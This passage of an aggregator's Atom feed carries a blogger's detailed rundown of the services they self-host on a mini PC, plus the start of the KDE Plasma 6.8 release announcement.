    <link rel="via" type="text/html" href="https://try.haxy.net/haxy:haxy"/>
    <published>2026-10-15T07:58:35+00:00</published>
    <updated>2026-10-15T07:58:35+00:00</updated>
    <author>
      <name>try.haxy.net via krig</name>
    </author>
    <category term="news"/>
    <category term="practices"/>
    <category term="vcs"/>
    <category term="zig"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;╭ README.md ────────────────────────────────────────────────────╮ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ╰───────────────────────────────────────────────────────────────╯&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:46cfe21c6fb71a27e0ec7fa4b1800dbc1579f89a</id>
    <title type="text">What I Self-Host</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-14-what-i-self-host/"/>
    <link rel="via" type="text/html" href="https://viceconsole.fyi/blog/2026/10/10/what-i-self-host/"/>
    <published>2026-10-14T15:32:48+00:00</published>
    <updated>2026-10-14T15:32:48+00:00</updated>
    <author>
      <name>viceconsole.fyi via tonymet</name>
    </author>
    <category term="news"/>
    <category term="devops"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;I’ve always had a foot in the self-hosting world, long before it was called that. My freshman year of university, I ran a website from a Linux box underneath my bed. There was some downtime when my roommate got tired of the fan noise and turned it off. For several years I ran &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.mythtv.org/&quot;&gt;MythTV&lt;/a&gt;, then &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/xbmc/xbmc&quot;&gt;XBMC&lt;/a&gt; (later known as Kodi).&lt;/p&gt;
&lt;p&gt;Recently, I lived for a few years in India, where streaming services are extremely inexpensive by western standards. We had Netflix, Disney Plus (Hotstar in India), and Spotify. After leaving India, I was unwilling to pay western prices for these services. But I had also become fed up with the engagement treadmill, particularly for my son. We wanted to limit his viewing choices to certain programming, but the constant “recommended for you” and “up next” caused conflict. While there are ways to limit content to specific titles, or disable auto-play, doing this for each service and keeping track of when client applications change and need to be reconfigured is too much work.&lt;/p&gt;
&lt;p&gt;So, I “cut the cord” in a different sense, ditching streaming services for self-hosted &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jellyfin.org/&quot;&gt;Jellyfin&lt;/a&gt;. Over the course of the next year and a half, Jellyfin opened the door to self-hosting many other services, reducing my dependence on cloud service providers, and providing a welcome stability. No longer am I constantly confronted with unnecessary site redesigns, new features of questionable value, and a barrage of e-mails about terms-of-service updates, binding arbitration, data breaches, etc. I read the release notes of new versions of the software I host and decide if and when I want to upgrade.&lt;/p&gt;
&lt;h2&gt;Rules&lt;/h2&gt;
&lt;p&gt;I have a few ground rules.&lt;/p&gt;
&lt;p&gt;With the exception of VPN servers that run on my router, I do not expose any services directly to the public internet. I don’t care how convenient it would be, or how secure an application is. Especially with AI-assisted hacking, I simply don’t think it’s wise. My ISP also uses &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Carrier-grade_NAT&quot;&gt;CGNAT&lt;/a&gt; for its IPv4 addresses, so my home network is not directly reachable from the public internet via IPv4. My VPN servers are only publicly routable on IPv6, a limitation that has some downsides but is workable for my use cases, and likely helps limit unfriendly attempted connections. The biggest downside is that my VPN will almost never function on a public Wifi network, since these rarely offer IPv6. When using my phone, I can disable Wi-Fi and connect over mobile data… if there is service.&lt;/p&gt;
&lt;p&gt;I prefer running services natively when possible, but will containerize complex services or those with many dependencies. Love: a service that’s a single Go binary. A service that only comes as a Docker compose file and wants to run MySQL, Redis, and three other containers? I’m already looking for an alternative. If the dependencies aren’t overwhelming, native is better, faster, and more efficient. I can use the same management tools and commands across multiple services. There’s no mental overhead of having to get into this container to run some command, finding out this container is missing curl, that one runs busybox so all the arguments are different, or dealing with a virtual network and host port mapping.&lt;/p&gt;
&lt;p&gt;Related, I don’t do Docker anymore. It’s not really a principled position, but I grew tired of having to manage a completely separate service control system on my server. I’m already using systemd, and at this point &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.podman.io/en/v5.0.1/markdown/podman-systemd.unit.5.html&quot;&gt;Podman’s integration with systemd&lt;/a&gt; is excellent.&lt;/p&gt;
&lt;h2&gt;Hardware&lt;/h2&gt;
&lt;p&gt;Last year I bought a Beelink Mini PC, specifically an S12 Pro with an Intel N100 processor, 16 GB RAM, and a 512 GB internal SSD. It was before the rampocalypse, so I paid EUR 180. The same listing on Amazon is currently EUR 359. Ouch! Attached to the server is a 6 TB hard drive for media storage.&lt;/p&gt;
&lt;p&gt;My &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://news.ycombinator.com/item?id=49985548#50014938&quot;&gt;comment on Hacker News&lt;/a&gt; about what I self-host prompted some questions about how all of this could run on 16 GB RAM. As I describe below, there are some choices I’ve made that reduce resource demand on my server, but ultimately it turns out you don’t need much hardware to run a lot of stuff. Obviously I’m not running any local inference on this hardware, but for everything non-AI, it has just worked out of the box, or with some simple configuration tweaks.&lt;/p&gt;
&lt;h2&gt;Services&lt;/h2&gt;
&lt;p&gt;In alphabetical order.&lt;/p&gt;
&lt;h3&gt;Actual Budget&lt;/h3&gt;
&lt;p&gt;Budgeting software with desktop clients and a web application, custom reports, and rules-based categorization. I only use this for budgeting and checking/savings/credit accounts. For tracking investment accounts, I use a cloud service. Some day I’ll try to move away from the latter…&lt;/p&gt;
&lt;p&gt;While &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://actualbudget.org/docs/releases/&quot;&gt;Actual Budget&lt;/a&gt; supports automatic transaction import from various banks, I don’t use this feature. Instead, after each month end, I download the prior month’s transactions (OFX format preferred, CSV if no other option) and import them manually. This works for me because I primarily use Actual Budget for expense tracking, not… actual… budgeting.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Audiobookshelf&lt;/h3&gt;
&lt;p&gt;Add, download and store audiobooks and podcasts on your server, listen to them on your phone. I haven’t used the audiobook feature much, I set it up more for my kids, but it has very nice chapter handling. In the past for podcasts I used PlayerFM, then Pocket Casts, but now unless I’m out of the house without VPN connectivity, I use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://audiobookshelf.org/&quot;&gt;Audiobookshelf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Automatic Ripping Machine (ARM)&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/automatic-ripping-machine/automatic-ripping-machine&quot;&gt;ARM&lt;/a&gt; automates ripping and transcoding DVDs (and Blu-rays, but I don’t do those). Yes, it’s 2026 and I still rip DVDs. Remember, we cut the cord, so not only is this a conduit for new-to-us content, but it’s also a way for us to get bilingual content (English and French).&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Backrest&lt;/h3&gt;
&lt;p&gt;Web UI for &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://restic.net/&quot;&gt;Restic&lt;/a&gt; backup software. Backups are important! Especially for Immich (photos). Restic does a good job deduplicating and compressing backed up data, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/garethgeorge/backrest&quot;&gt;Backrest&lt;/a&gt; makes it easy to manage the storage retention policies. Notifications in case of failure go to Gotify.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Beszel&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://beszel.dev/&quot;&gt;Beszel&lt;/a&gt; is a simple monitoring dashboard that collects basic stats from agents (in the old-fashioned sense of a small background service) to display CPU load, memory and disk usage, temperature, battery, etc. Helps me keep an eye on various other hosts I have around the house (several Rapsberry Pis and a Proxmox cluster that may be the subject of a future post).&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Caddy&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://caddyserver.com/&quot;&gt;Caddy&lt;/a&gt; is a web server and reverse proxy. Early on I didn’t understand the value of a reverse proxy, and I thought I would be fine accessing my services with a local DNS name, or even IP address, and port number. But then I started adding more and more services, and some required HTTPS. So I got a domain name (not this one) and set up Caddy to automatically obtain LetsEncrypt SSL certificates, and now nearly all of my services are accessible on my LAN (or over VPN) with HTTPS and friendly subdomain names. Adding a new service is a quick edit to the Caddyfile.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Cockpit&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cockpit-project.org/&quot;&gt;Cockpit&lt;/a&gt; is a web-based admin console for the server. It uses normal system authentication methods. For me, it’s mainly useful for spotting failed services when no notifications are set up for them.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Forgejo&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/&quot;&gt;Forgejo&lt;/a&gt; is a fork of Gitea, and deploys as a single binary. Github’s uptime is the butt of a lot of jokes these days, but I also appreciate the speed of having my own git remote. Eventually I’ll set up CI/CD and runners, if only to deploy this blog.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.freshrss.org/&quot;&gt;Web-based RSS reader&lt;/a&gt;. These days I basically visit two websites, though, so I’ve not been using it much. I do subscribe to the Github releases of some of the services I self-host so I can check out the features and bugfixes in new versions.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Frigate&lt;/h3&gt;
&lt;p&gt;Network video recorder (NVR). I first started with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://zoneminder.com/&quot;&gt;Zoneminder&lt;/a&gt; because I’m of a certain age. But it became clear that Zoneminder is past its prime. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/blakeblackshear/frigate&quot;&gt;Frigate&lt;/a&gt; has been fantastic. I run it with 8 IP cameras. It provides alerts for people and cars entering the driveway, integrates with Home Assistant to power various automations (e.g., when a person is detected in the backyard, turn on the camera floodlight). I may write a future post with some details about my IP camera adventures.&lt;/p&gt;
&lt;p&gt;I run all of my cameras at lower resolutions than they support, primarily to avoid Wi-Fi network congestion. Most cameras also support an even lower-resolution RTSP substream, which is what Frigate uses for motion and object detection. Keeping the camera resolutions low avoids excessive CPU and memory from video processing, and excessive disk usage from recordings. They are good enough to identify faces, and privacy laws in my country prohibit filming public rights of way, so my cameras are not aimed at distant points.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Gonic&lt;/h3&gt;
&lt;p&gt;Subsonic-compatible server written in Go. I purchased a perpetual Subsonic license a long time ago, but the original project is ancient and the modern alternatives are better. I run two separate instances of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/sentriz/gonic&quot;&gt;Gonic&lt;/a&gt;, one serves kid music, the other serves adult music.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Gotify&lt;/h3&gt;
&lt;p&gt;Simple notification service written in Go. Many self-hosted services directly support &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gotify.net/&quot;&gt;Gotify&lt;/a&gt; notifications, or can send them via a custom HTTP POST. In conjunction with Uptime Kuma, I use Gotify to get notifications about any services or devices that are down, what my kids are watching on Jellyfin, when a new podcast episode is available in Audiobookshelf, etc.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Home Assistant&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.home-assistant.io/&quot;&gt;Home Assistant&lt;/a&gt; probably deserves its own post. It’s fantastic, and I cannot imagine trying to accomplish the same things within a proprietary ecosystem like Google Home, Amazon Alexa, or Apple Home. Things are better now that device manufacturers are standardizing on protocols like Matter, but the control and flexibility you get with Home Assistant is hard to beat. It has a steep learning curve, though, and I need to think about realistic ways to handle potential server failure without compromising the functionality of my home.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Homepage&lt;/h3&gt;
&lt;p&gt;At some point I realized I was running so many services, I needed another service just to keep track of them all. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gethomepage.dev/&quot;&gt;Homepage&lt;/a&gt; was a good solution. It has widgets for almost all the services I run, so I can get a quick overview of what’s going on, or just a quick link to the subdomain of a service.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Immich&lt;/h3&gt;
&lt;p&gt;Google Photos alternative. I was tired of Google constantly promoting paid storage plans in their apps. I was able to manage my storage space, but my wife was always about to run out of room. We moved to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://immich.app/&quot;&gt;Immich&lt;/a&gt; last year, just after version 2 was released. It’s much faster to load pages full of photos when all the network activity is within your house. I’ve come up with a solution for sharing albums with family, as well. Still a lot of work to do with Immich - I have many duplicates, and now that storage isn’t a concern, I’ve been less disciplined about culling photos and videos.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Jellyfin&lt;/h3&gt;
&lt;p&gt;As I mentioned in the introduction, I’ve self-hosted media for a long time, going all the way back to MythTV twenty-some years ago. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jellyfin.org/&quot;&gt;Jellyfin&lt;/a&gt; is opinionated about its media organization, but it generally works well. I only use it for movies, TV, and home videos, so I can’t speak to its other features (e-books, music, photos, etc.). While my son still remembers Netflix, he is satisfied with Jellyfin. I appreciate the lack of auto-play, never seeing recommendations, and not having to scroll past a bunch of garbage to find what I want to watch.&lt;/p&gt;
&lt;p&gt;One of my ways of managing resource demand is by generally preferring 720p media over 1080p or higher. And obviously when ripping DVDs, it’s either 576p or 480p. I do have a 4k TV, but it’s not extremely large, and while I can tell the difference in resolution between SD and HD, for almost everything, 720p seems to be good enough for me.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Music Player Daemon (MPD)&lt;/h3&gt;
&lt;p&gt;Sometimes there are solutions that just work, and don’t really need to change. I think &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.musicpd.org/&quot;&gt;MPD&lt;/a&gt; is one of these. It’s been around for 23 years. While Gonic is great for listening to music on my phone, even streaming music from home to my phone while I’m away via VPN, MPD is how I play music through Snapcast to the whole house audio system. I run two instances of MPD, one for music, and one for podcasts.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;PocketBase&lt;/h3&gt;
&lt;p&gt;I used to keep track of transactions and receipts for special accounts (HSA, 529, etc.) in a SQLite file I accessed directly with SQL Workbench/J. But things became more complicated as I moved between countries, currencies, and different insurance systems, and also wanted to offer my wife the ability to enter transactions. I migrated to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pocketbase.io/&quot;&gt;PocketBase&lt;/a&gt;, which is ultimately still just a SQLite file, but with a nice web-based management frontend that I abuse as a generic CRUD frontend. It’s simple enough for my wife to use as well, and I can still run arbitrary queries against the underlying database file.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Readeck&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://readeck.org/en/&quot;&gt;Readeck&lt;/a&gt; lets me tag and archive copies of stuff I read. I was a heavy &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.zotero.org/&quot;&gt;Zotero&lt;/a&gt; user in graduate school, but I’ve not needed to write a bibliography in years. However, I still read things that I want to ensure I can access later. I tried &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wallabag.org/&quot;&gt;Wallabag&lt;/a&gt; first, but it had trouble archiving things that were paywalled, even when I was logged in on my phone. In contrast, Readeck will archive what my phone is seeing and store it on my server.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Samba&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.samba.org/&quot;&gt;Samba&lt;/a&gt; provides shared network storage, making it easy to copy files to and from the server, or share important documents with my wife. It’s funny how a file sharing protocol first developed in the 1980s and most associated with Windows remains the best option for cross-platform file sharing on a LAN.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;slskd&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/slskd/slskd&quot;&gt;IYKYK&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Snapcast&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/snapcast/snapcast&quot;&gt;Snapcast&lt;/a&gt; provides whole-house synchronized audio. Think Sonos, but without the expensive vendor lock-in and planned obsolescence. This also deserves its own post. It’s complicated to set up, but it works really well. I eventually plan to purchase some additional devices primarily for use as Snapcast receivers.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Syncthing&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://syncthing.net/&quot;&gt;Syncthing&lt;/a&gt; is part of a backup strategy for my photos in Immich. I’ve set up a one-way sync (receive only) on my Macbook, so that a copy of all the photos in Immich eventually make their way to my Macbook’s external drive.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Transmission Daemon&lt;/h3&gt;
&lt;p&gt;This one is also &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/transmission/transmission/&quot;&gt;self-explanatory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Native.&lt;/p&gt;
&lt;h3&gt;Uptime Kuma&lt;/h3&gt;
&lt;p&gt;After a few instances of my wife saying “X isn’t working” and needing to restart a service manually, I realized I needed a way to keep track of what services were running, or not. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/louislam/uptime-kuma&quot;&gt;Uptime Kuma&lt;/a&gt; is simple but has a useful set of features. I can ping devices to ensure they’re online, check the status of Podman containers, look for HTTP 2XX response codes from various services, or even parse a JSON payload and extract some details for the health check. If something goes down, I can send a Gotify notification (after a few retries, of course).&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Vaultwarden&lt;/h3&gt;
&lt;p&gt;Self-hosted version of Bitwarden. For years, I used &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://keepass.info/&quot;&gt;KeePass&lt;/a&gt;, but never had a good syncing solution, so just avoided logging into things on my phone. Meanwhile, my wife used LastPass, which had various breaches and incidents, besides autofill just not working very well. Migrating her to KeePass was not practical, and I settled on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/dani-garcia/vaultwarden&quot;&gt;VaultWarden&lt;/a&gt;, which is an open-source API-compatible reimplementation of BitWarden that works with the official BitWarden clients. I’m not a huge fan of the BitWarden browser extension, but it’s mostly fine. The Android application is good enough, and syncs seamlessly and automatically when I’m connected to my LAN; otherwise, I can connect via VPN and manually trigger a sync if needed.&lt;/p&gt;
&lt;p&gt;I am a little concerned that Bitwarden may eventually become hostile to VaultWarden and break the client compatibility. At this point, the only other major Bitwarden compatible client I’m aware of is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/AChep/keyguard-app&quot;&gt;Keyguard&lt;/a&gt;, which does not have an open source license and uses a freemium model.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Vikunja&lt;/h3&gt;
&lt;p&gt;I’ve been a Trello user for about a decade. But after Trello’s &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://trello.status.atlassian.com/incidents/h11gfkgvjhhk&quot;&gt;disastrous multi-day outage&lt;/a&gt; earlier this year, I decided to find a self-hosted alternative. I ruled out anything that involved spinning up a PostgreSQL or MySQL database for a service that will serve two users. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://vikunja.io/&quot;&gt;Vikunja&lt;/a&gt; uses SQLite by default, though it can be configured to use other database backends. It’s not perfect, and the Android application has some missing features, but it’s good enough for me. Single binary deployment? Yes, please.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h3&gt;Yubal&lt;/h3&gt;
&lt;p&gt;Simple web application to download YouTube Music playlists. I normally use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/yt-dlp/yt-dlp&quot;&gt;yt-dlp&lt;/a&gt; for downloading YouTube videos, or &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://newpipe.net/&quot;&gt;NewPipe&lt;/a&gt; for watching on my phone, but &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/guillevc/yubal&quot;&gt;Yubal&lt;/a&gt; will properly name, organize, and tag music downloaded from YouTube Music.&lt;/p&gt;
&lt;p&gt;Podman.&lt;/p&gt;
&lt;h2&gt;Non-Services&lt;/h2&gt;
&lt;p&gt;Here are a few things I don’t self-host, tried but decided against, or am unlikely to try.&lt;/p&gt;
&lt;h3&gt;The *arr Stack&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.servarr.com/&quot;&gt;Sonarr, Lidarr, Radarr&lt;/a&gt;, etc. Every time I read about setting it up, it just sounds like a resource-intensive mess that’s fundamentally prone to frequent breakage. That’s the opposite of what I’m looking for when choosing self-hosted services.&lt;/p&gt;
&lt;h3&gt;Collabora Online&lt;/h3&gt;
&lt;p&gt;While it would be nice to completely part ways with Google, it’s hard to beat Google Docs as a highly convenient and easily accessible way to store and share information. Still, I choose LibreOffice Writer and Calc unless I have a specific reason why the document needs to be in the cloud. Since I already have a shared network drive, it seems pointless to run a service like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.collaboraonline.com/&quot;&gt;Collabora Online&lt;/a&gt; (a web-based office suite) instead of just using LibreOffice locally.&lt;/p&gt;
&lt;h3&gt;Firefly III&lt;/h3&gt;
&lt;p&gt;I tried &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefly-iii.org/&quot;&gt;Firefly III&lt;/a&gt; before Actual Budget, thinking I needed built-in support for multiple currencies. It was a complex setup, involving multiple containers, including a container just for importing data. Actual Budget was much simpler to set up and use. For my foreign currency accounts, I have my own simple script to handle exchange rate conversion, so everything in Actual Budget stays in USD.&lt;/p&gt;
&lt;h3&gt;Owntracks&lt;/h3&gt;
&lt;p&gt;I like Google Maps Timeline, but after Google limited the location data to the individual device, I hoped to find a self-hosted version. But I could never get the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://owntracks.org/&quot;&gt;OwnTracks&lt;/a&gt; Android application to consistently report my position, no matter how many battery or location settings I tried. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://dawarich.app/docs/intro/&quot;&gt;Dawarich&lt;/a&gt; is another option in this space, but it wants to run “at least” four containers (PostgreSQL, Redis, Sidekiq, web application). For me, that’s not a compelling trade of resources required versus value I’m likely to obtain.&lt;/p&gt;
&lt;h3&gt;Music Assistant&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.music-assistant.io/&quot;&gt;Music Assistant&lt;/a&gt; might work better for you if you don’t already have a music setup you like. In my case, I already had Gonic, Snapcast, and MPD working well. Music Assistant felt like it wanted to “own” everything; for example, it seemed to continually rearrange my Snapcast device groups.&lt;/p&gt;
&lt;h3&gt;E-mail&lt;/h3&gt;
&lt;p&gt;Self-hosting e-mail seems like a lot of work for very little benefit. I cannot risk not being able to send or receive e-mails. Eventually I would like to transition away from Gmail to a paid provider.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;That’s 17 native services and 11 Podman services, all managed by systemd. &lt;code&gt;htop&lt;/code&gt; currently shows about 7.5 GB of memory in use, and CPUs fluctuating between 30% and 40%. It turns out this Mini PC can run a lot! Given how expensive computer hardware has become due to the AI crunch, I hope we’ll continue to see self-hostable projects that prioritize simplicity and efficiency.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:c547449c5669f8d262daf307b4cf9c4e4ad1fa73</id>
    <title type="text">Plasma 6.8 released (KDE&#39;s 30th birthday)</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-14-plasma-6-8-released-kde-s-30th-birthday/"/>
    <link rel="via" type="text/html" href="https://kde.org/announcements/plasma/6/6.8.0/"/>
    <published>2026-10-14T11:29:51+00:00</published>
    <updated>2026-10-14T11:29:51+00:00</updated>
    <author>
      <name>kde.org via joshsharp</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <category term="release"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;h2&gt;Celebrating thirty years of KDE&lt;/h2&gt;
&lt;p&gt;Plasma 6.8 is released on a very special day: KDE’s 30th birthday. Today we celebrate three decades of the KDE community providing the world’s greatest free and open-source software.&lt;/p&gt;
&lt;p&gt;Plasma 6.8 is no exception, offering enhancements across much of the user experience and beneath the surface.&lt;/p&gt;
&lt;p&gt;6.8 is all about launching Plasma into the future: adding changes you’ll notice right away, combined with major but subtle improvements designed to set the stage for decades of service to come.&lt;/p&gt;
&lt;p&gt;Dive in and find out what the desktop environment of tomorrow looks like!&lt;/p&gt;
&lt;h2&gt;Improvements you can use today&lt;/h2&gt;
&lt;h3&gt;Better accessibility&lt;/h3&gt;
&lt;p&gt;Part of our continued effort to bring digital control to everyone, a new “dwell clicker” feature can send a mouse click when the pointer stops moving. Designed especially for users with mobility issues, an external app is no longer required to use your system in this way; now it’s built right in!&lt;/p&gt;
&lt;h3&gt;Serving more users worldwide&lt;/h3&gt;
&lt;p&gt;Plasma 6.8 gains support for the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Vikram_Samvat&quot;&gt;Bikram Sambat&lt;/a&gt; calendar in the Digital Clock, and the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Amharic&quot;&gt;Amharic&lt;/a&gt; language in the on-screen keyboard. These are just two more additions of the dozens incorporated into Plasma over recent versions in our effort to make Plasma a truly universal desktop.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://kde.org/announcements/plasma/6/6.8.0/10-bikram-sambat-calendar.webp&quot; alt=&quot;Bikram Sambat calendar&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt; Bikram Sambat calendar&lt;/p&gt;
